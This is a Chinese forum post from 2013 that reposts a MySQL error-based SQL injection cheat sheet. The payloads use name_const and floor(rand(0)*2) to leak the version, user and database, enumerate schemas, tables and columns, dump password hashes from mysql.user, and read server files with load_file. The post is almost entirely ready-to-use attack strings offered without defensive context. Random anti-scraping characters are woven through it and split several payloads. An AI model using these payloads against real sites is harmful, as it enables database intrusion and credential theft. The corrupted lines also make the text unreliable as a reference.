本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ! h, ~! @% q/ f. X; C
u+ M' }" l5 [$ c2 B% P5 q4 U. C
1 u+ N5 Q2 P3 G; b( @
Mysql暴错注入参考(pdf),每天一贴。。。
: A4 ^4 D i5 F, T& _
6 k1 w9 R$ h/ E, y) SMySql Error Based Injection Reference
# `: y* ^. _( ?7 ^: j% ~: D[Mysql暴错注入参考]
6 C7 W! ?7 r! r9 f/ PAuthornig0s19928 H# u, r1 n8 W) ]
Blog:http://pnig0s1992.blog.51cto.com/. m# [2 j9 v7 Q8 O+ `* P& p+ S( H
TeAm:http://www.FreeBuf.com/' Z; q% a$ _; q U/ \
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, f; {. C8 D1 M: b4 U* N
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
, N1 ~3 y! d0 n查询版本:3 a) R- Q5 B9 K- p
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+9 w+ B" ?0 W; H) ]+ W/ X% S
join+(select+name_const(@@version,0))b)c)- D+ `# E; P+ Z }" j
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro- D/ C' R B* ^$ n
up by a)b)4 @. y$ z1 E3 A2 o+ h% {. \# G
查询当前用户:6 _( p: V! n0 Y' ]: M
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 n7 n, K8 P5 ^- V$ `Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
6 O& N0 R# P% n1 hand(0)*2))x+from+information_schema.tables+group+by+x)a)' J' I' J- ?: d, y
查询当前数据库:0 G8 Q% I! w( v: D5 e
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)7 h' i1 ~# P d) Y
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
& {. Z! Y4 E4 Sor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
8 M# p7 ]' ]1 i/ m! l2 U依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+8 x2 O& {7 p8 ` D d
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( B f# T& n9 X% k, N6 `5 `顺序替换
- x. r* N. j" L6 w爆指定库数目:5 M) |, w4 f V$ g9 P4 ^' s# n
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t7 T. B3 r& `) g" u1 x" r! _2 a
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, X7 z8 J& [% H7 z6 m+by+x)a)+and+1=1 0x6D7973716C=mysql
1 d* f [6 p9 z- d5 L: a依次爆表:1 \0 u- ^8 P- a; l# O
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
" x" b- ^, ^* Z% r* G6 ^& Yable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
9 B/ u% c( k. H8 T7 Ubles+group+by+x)a)+and+1=1
# p+ j/ t/ B; h1 V; P+ w0x6D7973716C=Mysql 将n顺序替换0 ]# B( X: s9 g0 q9 d
爆表内字段数目:
9 v# K- `* G- }6 o3 ]and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
7 c. N3 s; N' w0 {' T" k+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran9 d' B+ J8 V7 }( I% R" {1 L
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
: O$ v1 n6 P# U- P8 C" z& Z依次爆字段:4 ?& h3 S% e5 f: A6 F( a7 P+ u
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
1 `8 a. w+ G2 f( U7 e1 H/ ^/ d M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,15 J2 }% [6 h0 r
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换7 L) B" R7 w8 h
依次暴内容:3 e) }7 B9 n! D7 u
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche: E2 @: d6 q7 }' A! {
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1) A6 J8 e7 a* }/ O4 C
将n顺序替换( | }( s5 r2 |( Q' n0 G: D" b
爆文件内容:
4 V6 B. C/ _! n1 A) f) Band+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a% h! `7 h' P* H
from+information_schema.tables+group+by+a)b) ( m4 Z% B( g5 y" P2 R
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节+ q* H, _+ _6 \1 L& r
Thx for reading.0 [: m2 S( x% J' S! f
, w: K" o1 k% u& J* {
不要下载也可以, " w3 i; F' Z0 J @0 y2 X2 f
|